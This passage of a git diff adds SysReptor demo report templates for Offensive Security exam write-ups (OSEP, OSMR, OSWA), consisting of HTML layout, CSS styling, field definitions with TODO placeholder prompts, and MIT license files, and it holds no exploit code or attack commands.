NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/osep.toml b/demo_data/offsec-designs/osep.toml new file mode 100644 index 0000000..8ddf1aa --- /dev/null +++ b/demo_data/offsec-designs/osep.toml @@ -0,0 +1,580 @@ +format = "projecttypes/v1" +id = "9efe3b9d-b0df-45e0-86d9-a5bc7bcbb525" +name = "OSEP Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "enumeration", + "compromise", + "postexploitation", + "privilegeescalation", + "screenshots", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSEP Exam Documentation {.in-toc.numbered} + The Offensive Security OSEP exam documentation contains all efforts that were conducted in order to pass the Offensive Security Experienced Penetration Tester exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Experienced Penetration Tester certification. + + ## Objective {.in-toc.numbered} + The objective of this assessment is to perform an external penetration test against the Offensive Security Exam network. The student is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including enumeration and post-exploitation. The exam report is not meant to be a penetration test report, but rather a writeup of the steps taken to locate, enumerate and compromise the network. +Enumeration and post-exploitation actions that lead to subsequent attacks with successful compromises should be included in the report. +An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this exam. Use the sample report as a guideline to get you through the reporting. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * High level summery of findings, including the depth of compromise. + * Methodology walkthrough and detailed outline of steps taken including enumeration. + * Each finding with included screenshots, walkthrough, sample code or reference. + * Screenshot of any local.txt, proof.txt or secret.txt. + + + +
+

High-Level Summary

+ +
+ + +
+

Findings

+
+

{{ finding.title }}

+
+

Local.txt/Proof.txt/Secret.txt

+ +
+
+

Pre-Compromise Enumeration Steps

+ +
+ +
+

Compromise

+ +
+ +
+

Post-Exploitation Enumeration Steps

+ +
+ +
+

Local Privilege Escalation

+ +
+ +
+

Screenshots

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #3d85c6; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSEP Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = "TODO A brief description of the attack chain with machine names, including the depth of compromise should be included here." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "highlevel_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of local.txt, proof.txt or secret.txt" +required = true + +[finding_fields.compromise] +type = "markdown" +label = "Compromise" +origin = "custom" +default = "TODO Provide a description of exploitation steps to compromise the machine and obtain shell access, the steps taken should be able to be easily followed and reproducible if necessary. Only the steps that ended up working are required. Include any custom code or references to public tools." +required = true + +[finding_fields.enumeration] +type = "markdown" +label = "Enumeration" +origin = "custom" +default = "TODO Provide relevant techniques and methods used to perform enumeration prior to initial compromise, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the local.txt, proof.txt and secret.txt files obtained from your exam machines must be submitted in the control panel before your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each local.txt, proof.txt and secret.txt found must be shown in a screenshot that includes the contents of the file, as well as the IP address of the target by using `ipconfig`, `ifconfig` or `ip addr`. +""" +required = true + +[finding_fields.postexploitation] +type = "markdown" +label = "Post-Exploitation" +origin = "custom" +default = "TODO Provide relevant post-exploitation enumeration steps related to the network or local privilege escalation, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." +required = true + +[finding_fields.privilegeescalation] +type = "markdown" +label = "Privilege Escalation" +origin = "custom" +default = "TODO Provide a description of exploitation steps to escalate privileges on the machine if applicable, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSEP Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +highlevel_summary = "TODO A brief description of the attack chain with machine names, including the depth of compromise should be included here." +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = "192.168.X.X" +cvss = "n/a" +id = "b8395ecb-13fe-48dc-812d-5c739c448510" +proof = "TODO Provide the contents of local.txt, proof.txt or secret.txt" +compromise = "TODO Provide a description of exploitation steps to compromise the machine and obtain shell access, the steps taken should be able to be easily followed and reproducible if necessary. Only the steps that ended up working are required. Include any custom code or references to public tools." +enumeration = "TODO Provide relevant techniques and methods used to perform enumeration prior to initial compromise, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." +screenshots = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the local.txt, proof.txt and secret.txt files obtained from your exam machines must be submitted in the control panel before your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each local.txt, proof.txt and secret.txt found must be shown in a screenshot that includes the contents of the file, as well as the IP address of the target by using `ipconfig`, `ifconfig` or `ip addr`. +""" +postexploitation = "TODO Provide relevant post-exploitation enumeration steps related to the network or local privilege escalation, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." +privilegeescalation = "TODO Provide a description of exploitation steps to escalate privileges on the machine if applicable, the steps taken should be able to be easily followed and reproducible if necessary. Include any custom code or references to public tools." + +[[assets]] +id = "29d56052-480c-4b61-bd63-d8f48969975c" +name = "LICENSE" diff --git a/demo_data/offsec-designs/osmr-assets/LICENSE b/demo_data/offsec-designs/osmr-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/osmr-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/osmr.toml b/demo_data/offsec-designs/osmr.toml new file mode 100644 index 0000000..cdf0175 --- /dev/null +++ b/demo_data/offsec-designs/osmr.toml @@ -0,0 +1,576 @@ +format = "projecttypes/v1" +id = "ea7efb89-8c2b-4008-99e2-419611fdb979" +name = "OSMR Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "initial_analysis", + "vulnerability_discovery", + "exploit_creation", + "screenshots", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSMR Exam Documentation {.in-toc.numbered} + The Offensive Security OSMR exam documentation contains all efforts that were conducted in order to pass the Offensive Security macOS Researcher exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security macOS Researcher certification. + + ## Objective {.in-toc.numbered} + The objective of this exam is to solve four given assignments as described in the control panel. The student is tasked with following a methodical approach in analyzing and solving the assignments. The exam report is meant to be a writeup of the steps taken to solve the assignment, including any analysis performed and code written. + + An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this exam. Use the sample report as a guideline to get you through the reporting, while removing any headlines that are not relevant to a specific assignment. + + ## Requirements {.in-toc.numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * High-Level summary of assignment solutions. + * Methodology walkthrough and detailed outline of steps taken through analysis and all written code. + * Each finding with included screenshots, walkthrough, sample code or reference. + * Screenshots of proofs. + + + +
+

High-Level Summary

+ +
+ + +
+

Assignments

+
+

{{ finding.title }}

+
+

Proof.txt

+ +
+
+

Initial Analysis

+ +
+ +
+

Vulnerability Discovery

+ +
+ +
+

Exploit or Bypass Creation

+ +
+ +
+

Screenshots

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #a0a0a0; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSMR Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = "TODO A brief description of the assignments that were solved, including the overall exploitation steps." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "highlevel_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Assignment" +origin = "core" +default = "TODO Assignment Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of local.txt, proof.txt or secret.txt." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the local.txt, proof.txt or secret.txt files obtained from your exam machines must be submitted in the control panel before your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each local.txt, proof.txt or secret.txt found must be shown in a screenshot that includes the con-tents of the file, as well as the IP address of the target by using ipconfig. +""" +required = true + +[finding_fields.exploit_creation] +type = "markdown" +label = "Exploit or Bypass Creation" +origin = "custom" +default = "TODO Provide a description of steps to create the exploit or security control bypass. At the end of this section the full exploit (or bypass) code should be developed while an explanation of each step should be performed." +required = true + +[finding_fields.initial_analysis] +type = "markdown" +label = "Initial Analysis" +origin = "custom" +default = "TODO Provide relevant techniques and methods used to perform enumeration and discovery of the application and/or the environment. The steps taken should be reproducible and easy to under-stand. Include any custom code or references to public tools." +required = true + +[finding_fields.vulnerability_discovery] +type = "markdown" +label = "Vulnerability Discovery" +origin = "custom" +default = """ +TODO Provide relevant analysis steps to locate vulnerability inside the application or environment, this includes results from static analysis and/or dynamic analysis. Explain the vulnerability identified. + +Only the steps that ended up working are required. + +""" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSMR Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +highlevel_summary = "TODO A brief description of the assignments that were solved, including the overall exploitation steps." +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = "TODO Assignment Name" +cvss = "n/a" +id = "cc0cb8c0-5ee8-4fc9-b1a0-a659e31ac2fb" +proof = "TODO Provide the contents of local.txt, proof.txt or secret.txt." +screenshots = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the local.txt, proof.txt or secret.txt files obtained from your exam machines must be submitted in the control panel before your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each local.txt, proof.txt or secret.txt found must be shown in a screenshot that includes the con-tents of the file, as well as the IP address of the target by using ipconfig. +""" +exploit_creation = "TODO Provide a description of steps to create the exploit or security control bypass. At the end of this section the full exploit (or bypass) code should be developed while an explanation of each step should be performed." +initial_analysis = "TODO Provide relevant techniques and methods used to perform enumeration and discovery of the application and/or the environment. The steps taken should be reproducible and easy to under-stand. Include any custom code or references to public tools." +vulnerability_discovery = """ +TODO Provide relevant analysis steps to locate vulnerability inside the application or environment, this includes results from static analysis and/or dynamic analysis. Explain the vulnerability identified. + +Only the steps that ended up working are required. + +""" + +[[assets]] +id = "675262f8-fd52-4714-bf61-57de672585df" +name = "LICENSE" diff --git a/demo_data/offsec-designs/oswa-assets/LICENSE b/demo_data/offsec-designs/oswa-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/oswa-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/oswa.toml b/demo_data/offsec-designs/oswa.toml new file mode 100644 index 0000000..2078685 --- /dev/null +++ b/demo_data/offsec-designs/oswa.toml @@ -0,0 +1,562 @@ +format = "projecttypes/v1" +id = "15e47af0-c357-4a5e-a033-c31d51f249d0" +name = "OSWA Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "vulnerabilities", + "poc", + "screenshots", + "steps", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Offensive Security OSWA Exam Documentation {.in-toc.numbered} + The Offensive Security OSWA exam documentation contains all efforts that were conducted in order to pass the Offensive Security Web Assessor exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Web Assessor certification. + + The student will be required to fill out this exam documentation fully and to include the following sections: + * Methodology walkthrough and detailed outline of steps taken + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable. + * Any additional items that were not included + + + +
+

Findings

+
+

{{ finding.title }}

+
+

Local.txt/Proof.txt

+ +
+
+

{{ vulnerability.reference}}

+ +
+ +
+

PoC Code

+ +
+ +
+

Screenshots

+ +
+ +
+

Steps

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #ce0075; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title 